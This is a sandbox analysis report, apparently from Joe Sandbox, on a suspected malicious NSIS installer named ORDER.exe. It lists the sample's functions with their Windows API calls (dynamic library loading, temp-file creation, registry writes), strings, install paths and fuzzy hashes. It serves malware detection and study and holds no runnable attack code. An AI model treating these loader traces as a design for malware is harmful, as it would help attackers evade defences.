Opcode Fuzzy Hash: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction Fuzzy Hash: 7BD012319490306BC3106B787C0C85B7A599F573317118A33B56AF12F0C7389C7286ED

Function 00406061 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction ID: 2c1b19e4de550b622e70843c6ca25527790cfa0381149662c4593fbace01eca7
Opcode Fuzzy Hash: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction Fuzzy Hash: 00E0C232A04211ABC321AB749D48D3B73ACAFD8751309493EF50AF6150D734AC21EBBA

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B55
ShowWindow.USER32(?), ref: 00403B72
DestroyWindow.USER32 ref: 00403B86
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403BA2
GetDlgItem.USER32(?,?), ref: 00403BC3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403BD7
IsWindowEnabled.USER32(00000000), ref: 00403BDE
GetDlgItem.USER32(?,?), ref: 00403C8C
GetDlgItem.USER32(?,00000002), ref: 00403C96
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00403CB0
SendMessageA.USER32(0000040F,00000000,?,?), ref: 00403D01
GetDlgItem.USER32(?,00000003), ref: 00403DA7
ShowWindow.USER32(00000000,?), ref: 00403DC8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DDA
EnableWindow.USER32(?,?), ref: 00403DF5
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403E0B
EnableMenuItem.USER32(00000000), ref: 00403E12
SendMessageA.USER32(?,?,00000000,?), ref: 00403E2A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403E3D
lstrlenA.KERNEL32(Stvkonsekvenserne115 Setup: Installing,?,Stvkonsekvenserne115 Setup: Installing,00422F00), ref: 00403E66
SetWindowTextA.USER32(?,Stvkonsekvenserne115 Setup: Installing), ref: 00403E75
ShowWindow.USER32(?,0000000A), ref: 00403FA9

Strings

Stvkonsekvenserne115 Setup: Installing, xrefs: 00403E52, 00403E5C, 00403E65, 00403E73

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherEnableMenuUser$DestroyEnabledLongSystemTextlstrlen
String ID: Stvkonsekvenserne115 Setup: Installing
API String ID: 3906175533-147676709
Opcode ID: 0715b8fe610bdd71fae90ba33bb4a09e8b5ebb3c50d1a2f397537002d346961d
Instruction ID: 1f8690e76de68066656ca8d54ad2d010e53819933bf2384d883f7e4ba9537b83
Opcode Fuzzy Hash: 0715b8fe610bdd71fae90ba33bb4a09e8b5ebb3c50d1a2f397537002d346961d
Instruction Fuzzy Hash: 17C1C071A04205BBDB21AF21ED48D2B7EBCFB44706F40443EF601B11E1C7799942AB6E

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

lstrcatA.KERNEL32(1033,Stvkonsekvenserne115 Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Stvkonsekvenserne115 Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\,77233410,"C:\Users\user\Desktop\ORDER.exe",00000000), ref: 00403802
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,1033,Stvkonsekvenserne115 Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Stvkonsekvenserne115 Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403877
lstrcmpiA.KERNEL32(?,.exe), ref: 0040388A
GetFileAttributesA.KERNEL32(Call), ref: 00403895
LoadImageA.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike), ref: 004038DE

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

RegisterClassA.USER32(00422EA0), ref: 0040391B
SystemParametersInfoA.USER32(?,00000000,?,00000000), ref: 00403933
CreateWindowExA.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403968
ShowWindow.USER32(00000005,00000000), ref: 0040399E
LoadLibraryA.KERNELBASE(RichEd20), ref: 004039AF
LoadLibraryA.KERNEL32(RichEd32), ref: 004039BA
GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 004039CA
GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 004039D7
RegisterClassA.USER32(00422EA0), ref: 004039E0
DialogBoxParamA.USER32(?,00000000,00403B19,00000000), ref: 004039FF

Strings

.DEFAULT\Control Panel\International, xrefs: 004037ED
RichEdit20A, xrefs: 004039C2, 004039C8
.exe, xrefs: 00403884
Control Panel\Desktop\ResourceLocale, xrefs: 004037BB
Call, xrefs: 00403845, 0040384D, 0040385A, 004038A4, 004038AA
Stvkonsekvenserne115 Setup: Installing, xrefs: 004037B3, 004037B9, 004037DE, 004037E7, 004037FC
RichEdit, xrefs: 004039D1
"C:\Users\user\Desktop\ORDER.exe", xrefs: 0040378B
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00403811, 00403819, 004038B1, 004038B7, 004038C7
RichEd20, xrefs: 004039AA
RichEd32, xrefs: 004039B5
1033, xrefs: 004037A7, 004037FD
_Nb, xrefs: 004038FA, 00403962
C:\Users\user\AppData\Local\Temp\, xrefs: 00403793

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\ORDER.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Stvkonsekvenserne115 Setup: Installing$_Nb
API String ID: 914957316-2728863211
Opcode ID: 4a258d8796fa34fddb02ec2619d55facefc74f4564d7f9f136a4b3ccd76ffb40
Instruction ID: 361ceaa5e45529a70bb989737ed67fdedcb7c759bf8cf29c3cde223c60b7be46
Opcode Fuzzy Hash: 4a258d8796fa34fddb02ec2619d55facefc74f4564d7f9f136a4b3ccd76ffb40
Instruction Fuzzy Hash: E661E6B16442007EE720AF659D45F273E6CEB8475AF40407FF941B22E2D67C9D02DA6E

Function 00402C79 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C8D
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ORDER.exe,00000400), ref: 00402CA9

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 004059ED

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER.exe,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 00402CF2
GlobalAlloc.KERNELBASE(?,00409130), ref: 00402E39

Strings

C:\Users\user\Desktop\ORDER.exe, xrefs: 00402C93, 00402CA2, 00402CB6, 00402CD3
Inst, xrefs: 00402D60
"C:\Users\user\Desktop\ORDER.exe", xrefs: 00402C79
Error launching installer, xrefs: 00402CC9
soft, xrefs: 00402D69
Null, xrefs: 00402D72
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E82
C:\Users\user\Desktop, xrefs: 00402CD4, 00402CD9, 00402CDF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED0
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C86, 00402E51

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\ORDER.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ORDER.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2783425879
Opcode ID: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction ID: 2a27acbe37a486d3f9fadad6f2898e15cdcbef103c1943e89973ac3215dbffb0
Opcode Fuzzy Hash: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction Fuzzy Hash: BC61C671A40205ABDF20AF64DE89B9A76B4EF00315F20413BF904B72D1D7BC9E418BAD

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(?,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(?,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.32238167410.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.32238142205.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238195639.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.32238224100.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll, xrefs: 0040180C, 00401828
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 0040176C
Call, xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\AppData\Local\Temp\nst4C1A.tmp, xrefs: 00401789, 004017F8, 00401816

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\nst4C1A.tmp$C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll$Call
API String ID: 1941528284-2439645572
Opcode ID: bbab41b7c65da336fcc9d622b469fe6745b6c4ed629919caf82812cee6b4992a
Instruction ID: 7da2985f373e49f587e0f88560f455237d5d3a700d2e38046b33ad83bb6d7614
Opcode Fuzzy Hash: bbab41b7c65da336fcc9d622b469fe6745b6c4ed629919caf82812cee6b4992a
Instruction Fuzzy Hash: 0341B871910515BACF10BFA5DC46DAF3679DF41369F20823BF511F10E1D63C8A419A6E

Function 0040501F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll), ref: 0040508D
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll, xrefs: 0040503F, 00405051, 00405057, 0040507A, 00405086

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll
API String ID: 2531174081-85028365
Opcode ID: fe51e3db3acd615496ccbf9ac5cad90a085764a87c5addfa2b073bf2a2aea827
Instruction ID: 2b33129011dff48d1edd85efe61027b37dbb0349f6b457de8e93b882053e083c
Opcode Fuzzy Hash: fe51e3db3acd615496ccbf9ac5cad90a085764a87c5addfa2b073bf2a2aea827
Instruction Fuzzy Hash: C2219071900508BBDB119FA5CD84ADFBFB9EF14354F14807AF544B6290C2794E45DFA8

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040235A
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nst4C1A.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040237A
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nst4C1A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst4C1A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Strings

C:\Users\user\AppData\Local\Temp\nst4C1A.tmp, xrefs: 0040236B, 00402379, 0040238D, 0040239D, 004023A8

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp
API String ID: 1356686001-157168020
Opcode ID: b5d2e43241cc5f1c643ac0585cf0187cb16dde17b219008d57ea00b15267c4df
Instruction ID: 937c1904c824b73ffe337d2eacc138a1f8ac1658d2030852d1a46e58dbdf142b
Opcode Fuzzy Hash: b5d2e43241cc5f1c643ac0585cf0187cb16dde17b219008d57ea00b15267c4df
Instruction Fuzzy Hash: D71172B1E00118BFEB10EFA4DE89EAF7678FB50358F10413AF905B61D1D7B85D41A668

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040585F: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

CreateDirectoryA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 004015DB
GetLastError.KERNEL32(?,00000000,?,00000000,?), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,?), ref: 00401622

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
API String ID: 3751793516-4182428349
Opcode ID: 2a622bc09443ca50187ba2ee159019b7cd2e59548df6293550867165e211735f
Instruction ID: decf54c0780f34986dcb1f6dc2400c6331eb5c21fa926316ee50895bb5337331
Opcode Fuzzy Hash: 2a622bc09443ca50187ba2ee159019b7cd2e59548df6293550867165e211735f
Instruction Fuzzy Hash: CE11E931908150ABDB217F755D4496F67B4EA62365728473FF891B22D2C23C4D42E62E

Function 004059F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405A0A
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A24

Strings

"C:\Users\user\Desktop\ORDER.exe", xrefs: 004059F6
nsa, xrefs: 00405A01
C:\Users\user\AppData\Local\Temp\, xrefs: 004059F9, 004059FD

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CountFileNameTempTick
